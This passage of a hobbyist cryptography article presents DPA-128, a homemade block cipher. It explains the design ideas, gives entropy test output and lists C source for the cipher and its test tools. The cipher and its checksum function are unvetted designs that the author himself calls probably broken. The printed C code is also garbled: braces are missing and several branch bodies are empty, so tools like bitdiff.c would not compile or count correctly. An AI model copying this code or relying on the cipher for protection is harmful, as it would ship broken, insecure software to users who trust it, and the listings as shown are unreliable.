          only differ by one bit, then the ciphertext will differ by one

        - if one changes one bit in ciphertext and decrypts it, the
          resulting message will only differ by one byte.

        - if one has partial knowledge of the key, or of the message,
          then he can determine which substitutions are not probable and
          therefore reduce drastically the complexity of an attack. Also
          partial knowledge of the key or the message gives statistical
          analysis a chance to break the ciphertext when polyalphabetic
          substitution had all the characteristics needed to prevent that
          from happening.

So... let's sum things up. Polyalphabetic substitution as described above
is vulnerable to chosen texts attack, known texts attack, key correlation
attack and eventually statistical attacks. Oh... almost forgot... any
partial information reveals information about other unrelated data. If I
partially know the plaintext, then with access to the ciphertext I am
able to recover partially the key, with partial knowledge of the key and
access to the ciphertext, i am able to recover partially the plaintext.
There is not one point of failure, there are only points of failures...

----[ 1.3 - Theory of information

	Shannon described two properties that a block cipher should have
in order to be strong. Not that all ciphers respecting these are strong,
but those that do not respect it are most likeley weak.
These properties are 'confusion' and 'diffusion'. The first one is what
we achieve with polyalphabetic substitution, incapacity to deduce from a
single encrypted byte, with no other information, the result of which
substitution it is. This is because of the equiprobabiliy polyalphabetic
tables gives us. The second is diffusion, which is lacking from the
above cipher, and one of the reason why it is so vulnerable.
Diffusion is a characteristic where a minor cause produces a major
result. It is sometimes called 'cascading effect'.

Basically, diffusion should ensure that a one-bit change in the key
alters the whole ciphertext, that a one-bit change in the plaintext
also alters the whole ciphertext and that a one-bit change in the
ciphertext alters the whole plaintext. This complete alteration is
only in appearance, and a better look at the complete ciphertext
would reveal an average of half bits modified as you'll notice in the
output of `bitdiff` later in this paper.

While it is difficult to decide wether or not a cipher has a
correct confusion and diffusion, they both produce an entropic result that
can be measured using several methods. These methods will be used in this
paper but explained further in the references. A cipher not producing true
entropy is weak, true entropy (== white noise).

One way to add confusion is to ensure that the ciphertext is not dependant
of the key on a character basis. Changing one bit of the key should change
the whole ciphertext. This can be achieved by the use of a one-way hash
function for key generation. Some one-way hash functions have properties
that make them suitable for use, these are:
     h = f(M)
     - no matter the length of M, h has a fixed size
     - assuming M, it should be easy to compute h     
     - assuming h, it should be difficult to compute M
     - a one-bit change in M alters half the bits in h (in average).
     - it should be hard to find a M' to a fixed M such as f(M) = f(M')
     - it should be hard to find any M and M' such as f(M) = f(M')

The two last properties seem to be identical but in practice it is "easier"
to produce a random collision, than to produce a collision for an expected
output. Assuming h is 128-bits long, finding a particular collision takes
at most 2^128 tries, while finding a collision takes at most 2^64 tries.
This is known as the anniversary attack.

The use of such a function will make key correlation hardly practicable as
choosing two keys that have a relation will result in subkeys that have no
relation at all, even if the relation is a single bit difference. I am not
even mentionning attacks based on partial knowledge of the key ;)

Also, this will prevent users from choosing weak keys, purposedly or not,
as it will be difficult to find a key that will produce a weak key
(assuming that there are weak keys ;) once passed throught the one-way hash
function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys
that will produce a subkey that introduces a weakness in the encryption
process (such as DES's four weak keys).
The function not being reversible, partial knowledge of plaintext and
access to ciphertext does not reveal the key but the subkey from which you
cannot obtain information about the key. If the algorithm iterates for
several rounds, it is possible to generate subkeys by calling f on previous

	round1:		f(k)
	round2:		f(f(k))
	round3:		f(f(f(k)))
	and so on...

Note that there is nothing that prevents an implementation from precomputing
the subkeys for better performances (this is what my implementation does)
instead of computing them for each block.
The characteristics remains, knowing the subkey for round3 does not give
information about the subkey used for round2 or round1. That is one of the
failure points plugged ;)
Finally, this will increase confusion by creating a relation between each
single bit of the user input key and each byte of the ciphertext.

Unfortunately, this is not enough. We added confusion but even though it
is theoritically not possible to retrieve the key, even by having access
to the full message and the full ciphertext, it is still possible with a
partial knowledge to retrieve the subkey and to decrypt any data that is
encrypted with the original key. This is where diffusion comes into play
with a method called 'byte chaining'. Byte chaining is to a block what
block chaining is to a ciphertext, a propagation of changes which will
affect all subsequent data. This is done with a simple Xor, where each
byte of the block is xor-ed with the next one (modulo size of the block
to have the last one be xor-ed with the first one). That way, a single
bit change in a byte will have repercussion on every byte after that one.
If the function used to encrypt data is called for more than one round,
then all bytes are guaranteed to have been altered by at least one byte.
This operation is done before encryption so that the result of an
encrypted byte is dependant not only of the current byte but of all the
ones that were used for the byte chaining. As rounds occur, cascading
effect takes place and the change propagates through the block.

It is possible to increase complexity by using a key-related permutation
before encryption. DPA-128 uses a key-related shifting instead but this
can be considered as a permutation in some way. Some functions known as
'string hash functions' can compute an integer value out of a string.
They are commonly used by C developpers to create hash tables and they
are pretty simple to write. It is possible to use these functions on a
subkey to create a key-related circular shifting within the block:
   - we have a subkey for the round that we computed using f, this subkey
     is hashed to produce an integer. the hash function does not have to
     respect any constraints because of f properties. the paranoiac could
     implement a function that has low collisions and a nice repartition
     but since it is applied on the result of f, it inherits some of its

   - assuming the block size is 128, we reduce that integer to 128
     (7 bits) there is no magic stuff here, just a modulo.

   - the result is used to shift the block circularly >>>

Note that the key-relation for the shifting has no more security than
a simple byte shifting - at least on Vigenere table - but only adds
more confusion. It was initially introduced as a security measure for
substitution tables that had not equiprobable results.
It prevents elimination of some substitution combinations by analyzing
which bits are set in an encrypted byte when you know its plaintext
equivalent. From the ciphertext, it is not possible to determine wether
a block was shifted (the hash value of the key could have been 0 or some
product of 128, who knows ;) and if it was shifted, it is not possible to
know where the bits come from (which byte they were on originally and
what was their position) which makes it difficult to determine if the
bit of sign on a particular byte is really a bit of sign or not and if it
was part of that byte or not. Also, the shifting is dependant from the
subkey used for a round so it will be different at each round and help
diffusion through the byte chaining phase.

Finally, it is possible, using the same method, to create a relation
between a subkey and the substitution table. This is where dynamic
polyalphabetic substitution comes into play !

As we've seen, a polyalphabetic substitution has 256^2 substitutions
with 256 outcomes. This means that if an attacker would want to try
all combinations possible, he would have to try 256 combinations
for a character to be sure the right couple was used (if he knew the
structure of the substitution table, or 256^2 otherwise). It is
possible to increase that value by creating a relation between the key
and the substitution table. There are 256 characters, so it is possible
to create 256 different tables by shifting ONE byte on each line:

	instead of:
	0 1 2 3 4 5 6 7 8 9 ...
        1 2 3 4 5 6 7 8 9 ...
        2 3 4 5 6 7 8
        3 4 5 6 7 8
        4 5 6 7 8
        5 ....

	we end with (n being the shift):
	n%256	  (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
	(n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
	(n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256
	(n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256
	(n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256
	(n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256 (n+9)%256
	(n+6)%256 ...

This means that an attacker would need to try 256^2 combinations
before he knows for sure the right combination was used. he needs to
try the same combinations as before but with every variation of 'n'.
'n' can be computed using the same method as for the block shifting
but since there are 256 possible shifts for the substitution table,
then the result will be reduced modulo 256 (8 bits).

The tables being structured in a logical way, they can be represented
by arithmetics which removes the need to store the 256 possible tables
and saves quite a bit of memory. It is also possible with more work to
create polyalphabetic s-tables that are shuffled instead of shifted,
such tables would still share the characteristics of polyalphabetism
but prevent partial knowledge of the table from deducing the full
internal structure. I did not have enough time to keep on working on
this so I am unable to give an example of these, however, simple
tables such as the one above is sufficient in my opinion.

k being the character from the key, d being the character from the
message and s being the shifting.
        encryption can be represented using this equation:
        (k + d + s) mod 256

        while decryption is:
        ((256 + d) - k - s) mod 256

The amusing part is that when you play with statistics, you get a very
different view if you are in the position of the attacker or of the
nice guy trying to keep his secret. Assuming there are 'n' rounds, then
you have (256^2) * m substitutions useable where 1 <= m <= n and n <= 256.
This is because some subkeys might produce identical substitution tables.
In another hand, and im not doing the maths for this ;), the attacker has
not only to figure out which substitutions were done, but also the tables
in which they were done... in the exact same order... out of data that
does not inform him on the subkeys used to generate the tables he is
trying to determine the structure of ;)

The result is NOT equiprobable, because it would require exactly 256
rounds with different tables which is hardly doable (just determining
if it is doable requires trying 2^128^256 keys if im correct), but
from the attacker point of view, even an exhaustive search might
create an indecision because many keys will probably result in the
same cipher if applied to different messages (many will produce the
same cipher if applied to garbage too ;).


As I said, DPA-128 is a secret-key block cipher. Its block and key size
are 128-bits. This is not a limitation imposed by the algorithm which
is easily adaptable to different key and block sizes. It consists of
16 rounds, each performing:
   - a byte chaining;
   - a subkey-related shifting;
   - a subkey-related polyalphabetic substitution;
All of the rounds have their own subkey.
The implementation uses all of the ideas explained in this paper and
before I provide the code, here are a few tests performed on it.

----[ 2.1 - DPA-128 used as a one way hash function

Bruce Schneier explained in "Applied Cryptography" that some ciphers can
be turned into one way hash functions by using them in BC modes (CBC for
that matter) using a fixed key and initialization vector with more or
less efficiency. It is hard to determine if DPA-128 is efficient because
it was not been analyzed by many people and I consider it as efficient
to produce checksums as to encrypt. If there is a weakness in the cipher
then the checksum will not be secure. The same applies to DPA-128 used
as a PRNG. So... I did some testing ;)

I used three tools, the first one 'bitdiff' is a little utility that goes
through two files and compares them bit per bit. It then outputs the
number of bits that have changed and the repartition of zero's and one's.
A sample output looks like this:

% ./bitdiff file1 file2 
64 bits have changed.
ratio for file1:
        0's: 55
        1's: 73

ratio for file2:
        0's: 71
        1's: 57

I also used a tool 'segments', which counts segments of identical bits in
a file. A sample output looks like this:

% ./segments file1
0's segments:
        1 => 19
        2 => 6
        3 => 4
        4 => 0

1's segments:
        1 => 13
        2 => 7
        3 => 3
        4 => 3

Finally, I used an existing tool called 'ent' which is available at

which performs several entropy tests, helping determine:

      - if DPA-128 passes deterministic tests and how does it compare to a
        PRNG (I used NetBSD's /dev/urandom).
      - what is the impact to a checksum when a bit changes in a file.

Theoritically, an equiprobable cipher would not be a nice idea for a
one-way hash function as it would be easily subject to collisions, but
as I explained, the result seems to be equiprobable while there is a
limited range of possible substitution for a fixed key.

I checksum-ed /etc/passwd three times, the first one was the real file,
the second one was the file with a one bit change and the third one was
the file with a 6 bytes addition. All bytes where affected, tests with
bitdiff showed that a one bit change produced an average of 60 bits
modified in the 128 bits checksum.

% ./dpa sum passwd |hexdump
0000000 be85 3b72 1a76 48e6 5d08 939b 104f 3f23

% ./dpa sum passwd.1 | hexdump
0000000 f9d3 c5fe d146 2170 144d 900d 0e99 c64b

% ./dpa sum passwd.2 | hexdump
0000000 fa19 4869 3f61 798a 2e81 91e9 bc92 78ee

After i redirected the checksums to files, i call bitdiff on them. The
files do not contain the hexadecimal representation, but the real
128 bits outputs:

% ./bitdiff passwd.chk passwd.1.chk 
63 bits have changed.
ratio for passwd.chk:
        0's: 65
        1's: 63

ratio for passwd.1.chk:
        0's: 68
        1's: 60
% ./bitdiff passwd.chk passwd.2.chk
61 bits have changed.
ratio for passwd.chk:
        0's: 65
        1's: 63

ratio for passwd.2.chk:
        0's: 64
        1's: 64

You'll notice a nice repartition of zero's and one's, lets' see what
segments has to say about this:

% ./segments passwd.chk 
0's segments:
        1 => 13
        2 => 10
        3 => 3
        4 => 2

1's segments:
        1 => 15
        2 => 4
        3 => 5
        4 => 0

% ./segments passwd.1.chk
0's segments:
        1 => 11
        2 => 8
        3 => 5
        4 => 3
        5 => 0

1's segments:
        1 => 13
        2 => 9
        3 => 2
        4 => 0
        5 => 1

% ./segments passwd.2.chk
0's segments:
        1 => 12
        2 => 10
        3 => 3
        4 => 1
        5 => 0

1's segments:
        1 => 16
        2 => 3
        3 => 4
        4 => 3
        5 => 1

Well all we can notice is that there are mostly small segments and that
they are well reparted. I'm skipping the entropy test since it will
illustrate the use of DPA-128 as a PRNG ;)

----[ 2.2 - DPA-128 used as PRNG

For the following tests concerning segments and entropy:
- the file 'urandom.seed' consists in 1024 bytes read from NetBSD 1.6.1's
- the file 'dpa.seed' consists in the result of an ECB encryption on dpa's
  main.c and a reduction of the output to 1024 bytes.

This means that while tests on urandom.seed apply to the result of a PRNG,
the tests on dpa.seed can be reproduced. It shows good entropy on
encrypting a fixed value and the results should be quite the same if used
as a PRNG. The tests that are performed by 'ent' are described on their
website, I'm not going to describe them here because it is out of the
scope of this paper and I would do it far less better than their
page does.

% ./segments urandom.seed
0's segments:
        1 => 1019
        2 => 418
        3 => 212
        4 => 88
        5 => 35
        6 => 18

1's segments:
        1 => 1043
        2 => 448
        3 => 179
        4 => 74
        5 => 32
        6 => 13

% ./segments dpa.seed
0's segments:
        1 => 1087
        2 => 443
        3 => 175
        4 => 72
        5 => 29
        6 => 18

1's segments:
        1 => 1039
        2 => 453
        3 => 195
        4 => 67
        5 => 34
        6 => 15

% ./ent -b urandom.seed 
Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).

% ./ent -b dpa.seed 
Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).

% ./ent -bc urandom.seed
Value Char Occurrences Fraction
  0             4137   0.505005
  1             4055   0.494995

Total:          8192   1.000000

Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).

% ./ent -bc dpa.seed
Value Char Occurrences Fraction
  0             4096   0.500000
  1             4096   0.500000

Total:          8192   1.000000

Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).

The last tests must have given you an idea of the confusion, diffusion and
entropy present in a DPA-128 encrypted ciphertext. More results are
available online on my webpage, I just did not want to put too much in
here since they all look the same ;)

--[ 3 - Acknowledgment

I would like to thank a few people:
  k` who helped me with previous versions and some parts of dpa-128,
  acid, who supported my endless harassement (hey try this please !),
  pitufo for being the first dpa-128 tester and benchmarker,
  hypno for reading this and spot bad sentences :)
  br1an for reading this also and giving advices,
  a ph.d whose name will remain private who audited dpa-128
  and mayhem who both suggested to write a paper about dpa.


       my page for the dpa project with examples and a lot of testing


       entropy tests and their description

       a paper on blowfish and what features a cipher should provide

     . "applied cryptography", Bruce Schneier
       THE book ;)

--[ 5 - Source Code

All of the code is provided under the ISC license, do whatever you want
with it, but please please don't use it to encrypt sensitive data unless
you know what you are doing (that means you could not break it and have
confidence in your skills). The code is NOT optimized for speed, it is
a work in progress and many parts can be improved, i'm just a bit in a
hurry and by the time you read this, it will probably be a lot cleaner ;)

If you plan on using dpa-128 even though I'm still warning you not to,
here are a few recommandations:

     - the following code accepts keys both as parameter or as file. It
       is preferable for many reasons to use a file, but the best reason
       (aside from someone issueing a `ps` at the wrong moment...) is that
       you can have your key be the result of a PRNG:

       % dd if=/dev/urandom of=/home/veins/.dpa/secret.key bs=1024 count=1

       The odds of someone guessing your key become pretty low :)

     - use CBC mode. the impact of using CBC mode on performances is too
       low to be an excuse for not using it.

       To encrypt:
       % dpa -a enc -m cbc -k file:secret.key -d file:/etc/passwd -o p.enc

       To decrypt:
       % dpa -a dec -m cbc -k file:secret.key -d file:p.enc -o p.dec

 * Copyright (c) 2004 Chehade Veins <veins at>
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* bitdiff.c */
 * This is a small utility to compare the bits in two files. It is ugly
 * and could be rewritten in a sexier way but it does its job so no
 * need to waste time on it ;)
#include <sys/stat.h>
#include <sys/mman.h>

#include <fcntl.h>
#include <sysexits.h>

int	main(int argc, char *argv[])
  int	i;
  int	size1, size2;	/* size counters */
  char	*s1, *s2;
  int	s1_0, s1_1;	/* in s1: 0s and 1s counter */
  int	s2_0, s2_1;	/* in s2: 0s and 1s counter */
  int	fd1, fd2;
  unsigned int	cnt;
  unsigned int	diff;
  unsigned int	total;
  struct stat	sa;
  struct stat	sb;

  if (argc < 3)
    return (EX_USAGE);

  fd1 = open(argv[1], O_RDONLY);
  fd2 = open(argv[2], O_RDONLY);
  if (fd1 < 0 || fd2 < 0)
    return (EX_SOFTWARE);

  fstat(fd1, &sa);
  fstat(fd2, &sb);
  size1 = sa.st_size;
  size2 = sb.st_size;

  s1 = mmap(NULL, sa.st_size, PROT_READ, MAP_PRIVATE, fd1, 0);
  s2 = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd2, 0);
  if (s1 == (void *)MAP_FAILED || s2 == (void *)MAP_FAILED)
    return (EX_SOFTWARE);

  s1_1 = s2_1 = s1_0 = s2_0 = diff = total = 0;
  while (size1 && size2)
      for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
	  if (((*s1 >> i) & 0x1) != ((*s2 >> i) & 0x1))

	  if ((*s1 >> i) & 0x1)
	  else if (((*s1 >> i) & 0x1) == 0)

	  if ((*s2 >> i) & 0x1)
	  else if (((*s2 >> i) & 0x1) == 0)

      ++s1; ++s2; size1--; size2--;

  if (diff == 0)
    printf("bit strings are identical\n");
      printf("%d bits have changed.\n", diff, total);
      printf("ratio for %s:\n", argv[1]);
      printf("\t0's: %d\n", s1_0);
      printf("\t1's: %d\n", s1_1);
      printf("ratio for %s:\n", argv[2]);
      printf("\t0's: %d\n", s2_0);
      printf("\t1's: %d\n", s2_1);

  munmap(s1, sa.st_size);
  munmap(s2, sb.st_size);

  return (EX_OK);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* segments.c */
 * This is a small utility to count the segments of identical bits in a
 * file. It could also be rewritten in a sexier way but...
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <sysexits.h>

int	main(int argc, char *argv[])
  int	i;
  int	fd;
  int	cnt;
  int	last;
  int	biggest;
  int	size;
  char	*map;
  struct stat	sb;
  unsigned int	STATS[2][32];

  if (argc < 2)
    return (EX_USAGE);

  /* Initialize the segments counters */
  for (cnt = 0; cnt < 2; ++cnt)
    for (i = 0; i < 32; ++i)
      STATS[cnt][i] = 0;

  /* Open and map the file in memory */
  fd = open(argv[1], O_RDONLY);
  if (fd < 0)
    return (EX_SOFTWARE);
  fstat(fd, &sb);
  map = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (map == (void *)MAP_FAILED)
    return (EX_SOFTWARE);

  last = -1;
  biggest = 0;
  size = sb.st_size;

  while (size--)
      for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
	  if ((*map >> i) & 0x1)
	      if (last == 0)
		  if (cnt > biggest)
		    biggest = cnt;
		  if (cnt >= 32)
		    errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
		  STATS[last][cnt] += 1;
		  cnt = 0;
	      last = 1;
	      if (last == 1)
		  if (cnt > biggest)
		    biggest = cnt;
		  if (cnt >= 32)
		    errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
		  STATS[last][cnt] += 1;
		  cnt = 0;
	      last = 0;
  munmap(map, sb.st_size);

  printf("0's segments:\n");
  for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[0][i]);

  printf("\n1's segments:\n");
  for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[1][i]);

  return (EX_OK);
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 

Again, the source code that follows is a work in progress, and some parts
deserve a cleaner rewrite. data.c is truly ugly ;)
It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does
not run on your unix box, porting it should be trivial.

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
# Makefile
NAME	=	dpa
SRCS	=	main.c\

OBJS	=	$(SRCS:.c=.o)



$(NAME)	:	$(OBJS)
	cc -o $(NAME) $(OBJS) $(LDFLAGS)

clean	:
	rm -f *.o *~

fclean	:	clean
	rm -f $(NAME)

re	:	fclean	$(NAME)

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* include/dpa.h */
#ifndef	_DPA_H_
#define	_DPA_H_

#define	DPA_KEY_SIZE	16
#define	DPA_BLOCK_SIZE	16

#define	DPA_ENCRYPT	0
#define	DPA_DECRYPT	1

#define	DPA_MODE_ECB	0
#define	DPA_MODE_CBC	1

struct s_dpa_sub_key {
  unsigned char	key[DPA_KEY_SIZE];
  unsigned char	shift;
typedef struct s_dpa_sub_key	DPA_SUB_KEY;

struct s_dpa_key {
  struct s_dpa_sub_key	subkey[16];
typedef struct s_dpa_key	DPA_KEY;

struct s_dpa_data {
  unsigned char	*data;
  unsigned long	length;
typedef struct s_dpa_data	DPA_DATA;

void		checksum128(unsigned char *, unsigned char *, unsigned int);
unsigned long	hash32(unsigned char *, unsigned int);

unsigned char	dpa_encrypt(unsigned int, unsigned int, unsigned int);
unsigned char	dpa_decrypt(unsigned int, unsigned int, unsigned int);

void	DPA_ecb_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void	DPA_ecb_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void	DPA_cbc_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void	DPA_cbc_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void	DPA_sum(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void	DPA_set_key(DPA_KEY *, unsigned char *, unsigned int);
void	DPA_set_keyfile(DPA_KEY *, char *);
void	DPA_set_data(DPA_DATA *, unsigned char *, unsigned int);
void	DPA_set_datafile(DPA_DATA *, char *);
void	DPA_set_ciphertext(DPA_DATA *, DPA_DATA *, int, int);
void	DPA_write_to_file(DPA_DATA *, char *);
void	DPA_sum_write_to_file(DPA_DATA *, char *);

void	rbytechain(unsigned char *);
void	lbytechain(unsigned char *);

void	rbitshift(unsigned char *, unsigned int);
void	lbitshift(unsigned char *, unsigned int);

void	blockchain(unsigned char *, unsigned char *);

void	IV(unsigned char *);

void	E(unsigned char *, unsigned char *, unsigned int);
void	D(unsigned char *, unsigned char *, unsigned int);
void	S_E(unsigned char *, unsigned char *, unsigned int);
void	S_D(unsigned char *, unsigned char *, unsigned int);

void	usage(void);


8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* checksum128.c */
 * This function creates a 128 bits (16 bytes) checksum out of a variable
 * length input. It has NOT been verified so it is most likely broken and
 * subject to collisions even though I was not able to find any myself.
 * The following constraints need to be respected:
 * - the function has to return a 128 bits value no matter what;
 * - it should be difficult to determine the result by knowing the input;
 * - it should be difficult to determine the input by knowing the result;
 * - it should be difficult to find an input that will produce an identic
 *   result as a known input;
 * - it should be difficult to find two inputs that will produce the same
 *   result;
 * - it should be easy to compute the result of an input;
 * If checksum128() happens to be broken, DPA-128 could be fixed by
 * replacing it with any one-way hash function that produces a 128 bits
 * output (MD5 comes to mind first ;).

#define	__NBROUNDS	32
void	checksum128(unsigned char *key, unsigned char *skey, unsigned int size)
  unsigned int	cnt;
  unsigned int	length;
  unsigned long	a;
  unsigned long	b;
  unsigned long	c;
  unsigned long	d;
  unsigned char	*save;

  /* Initialization of contexts */
  a = 0xdeadbeef;
  b = 0xadbeefde;
  c = 0xbeefdead;
  d = 0xefdeadbe;

  for (cnt = 0; cnt < __NBROUNDS; ++cnt)
      for (length = 0, save = key; length < size; ++save, ++length)
	  /* each context is first summed up with the cumplement of
	   * the current ascii character.
	  a = (a + ~(*save));
	  b = (b + ~(*save));
	  c = (c + ~(*save));
	  d = (d + ~(*save));

	  /* Confusion */
	   * Context A is summed with the product of:
	   * - cumplement of B, C and cumplement of D;
	   * Context B is summed with the product of:
	   * - cumplement of C, D and cumplement of A;
	   * Context C is summed with the product of:
	   * - cumplement of D, A and cumplement of B;
	   * Context D is summed with the product of:
	   * - cumplement of A, B and cumplement of C;
	   * Every context has a repercussion on all others
	   * including itself, and multiplication makes it
	   * hard to determine the previous values of each
	   * contexts after a few rounds.
	  a += ~b * c * ~d;
	  b += ~c * d * ~a;
	  c += ~d * a * ~b;
	  d += ~a * b * ~c;

      /* Diffusion */
       * The bytes of each contexts are shuffled within the
       * same context, the first byte of A becomes the last
       * which becomes the first. the second becomes the
       * third which becomes the second. This permutation
       * is also applied to B, C and D, just before they go
       * through another round.
      a = (((a & 0x000000ff) << 24) +
	   ((a & 0x0000ff00) << 8) +
	   ((a & 0x00ff0000) >> 8) +
	   ((a & 0xff000000) >> 24));
      b = (((b & 0x000000ff) << 24) +
	   ((b & 0x0000ff00) << 8) +
	   ((b & 0x00ff0000) >> 8) +
	   ((b & 0xff000000) >> 24));
      c = (((c & 0x000000ff) << 24) +
	   ((c & 0x0000ff00) << 8) +
	   ((c & 0x00ff0000) >> 8) +
	   ((c & 0xff000000) >> 24));
      d = (((d & 0x000000ff) << 24) +
	   ((d & 0x0000ff00) << 8) +
	   ((d & 0x00ff0000) >> 8) +
	   ((d & 0xff000000) >> 24));

  /* Diffusion */
   * The Checksum is constructed by taking respectively
   * the first byte of A, B, C and D, then the second,
   * the third and the fourth.
  skey[0] = (a & 0xff000000) >> 24;
  skey[1] = (b & 0xff000000) >> 24;
  skey[2] = (c & 0xff000000) >> 24;
  skey[3] = (d & 0xff000000) >> 24;
  skey[4] = (a & 0x00ff0000) >> 16;
  skey[5] = (b & 0x00ff0000) >> 16;
  skey[6] = (c & 0x00ff0000) >> 16;
  skey[7] = (d & 0x00ff0000) >> 16;
  skey[8]  = (a & 0x0000ff00) >> 8;
  skey[9]  = (b & 0x0000ff00) >> 8;
  skey[10] = (c & 0x0000ff00) >> 8;
  skey[11] = (d & 0x0000ff00) >> 8;
  skey[12] = (a & 0x000000ff);
  skey[13] = (b & 0x000000ff);
  skey[14] = (c & 0x000000ff);
  skey[15] = (d & 0x000000ff);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* hash32.c */
 * This function computes a 32 bits output out a variable length input. It is
 * not important to have a nice distribution and low collisions as it is used
 * on the output of checksum128() (see checksum128.c). There is a requirement
 * though, the function should not consider \0 as a key terminator.
unsigned long	hash32(unsigned char *k, unsigned int length)
  unsigned long	h;

  for (h = 0; *k && length; ++k, --length)
    h = 13 * h + *k;
  return (h);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* bytechain.c */

#include "include/dpa.h"

void	rbytechain(unsigned char *block)
  int	i;

  for (i = 0; i < DPA_BLOCK_SIZE; ++i)
    block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];

void	lbytechain(unsigned char *block)
  int	i;

  for (i = DPA_BLOCK_SIZE - 1; i >= 0; --i)
    block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* bitshift.c */
#include <string.h>

#include "include/dpa.h"

void	rbitshift(unsigned char *block, unsigned int shift)
  unsigned int	i;
  unsigned int	div;
  unsigned int	mod;
  unsigned int	rel;
  unsigned char	mask;
  unsigned char	remainder;
  unsigned char	sblock[DPA_BLOCK_SIZE];

  if (shift)
      mask = 0;
      shift %= 128;
      div = shift / 8;
      mod = shift % 8;
      rel = DPA_BLOCK_SIZE - div;
      for (i = 0; i < mod; ++i)
	mask |= (1 << i);
      for (i = 0; i < DPA_BLOCK_SIZE; ++i)
	  remainder =
	    ((block[(rel + i - 1) % DPA_BLOCK_SIZE]) & mask) << (8 - mod);
	  sblock[i] = ((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder;
  memcpy(block, sblock, DPA_BLOCK_SIZE);

void	lbitshift(unsigned char *block, unsigned int shift)
  int	i;
  unsigned int	div;
  unsigned int	mod;
  unsigned int	rel;
  unsigned char	mask;
  unsigned char	remainder;
  unsigned char	sblock[DPA_BLOCK_SIZE];

  if (shift)
      mask = 0;
      shift %= 128;
      div = shift / 8;
      mod = shift % 8;
      rel = DPA_BLOCK_SIZE + div;
      for (i = 0; i < (8 - mod); ++i)
	mask |= (1 << i);
      mask = ~mask;
      for (i = 0; i < DPA_BLOCK_SIZE; ++i)
	  remainder =
	    (block[(rel + i + 1) % DPA_BLOCK_SIZE] & mask) >> (8 - mod);
	  sblock[i] =
	    ((block[(rel + i) % DPA_BLOCK_SIZE]) << mod) | remainder;
  memcpy(block, sblock, DPA_BLOCK_SIZE);

8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 
/* S_E.c */
#include "include/dpa.h"

 * The substitution table looks like this:
 * (s+0)%256 (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 ...
 * (s+1)%256 (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 ...
 * (s+2)%256 (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 ...
 * (s+3)%256 (s+4)%256 (s+5)%256 (s+6)%256 (s+7)%256 (s+8)%256 (s+9)%256 ...
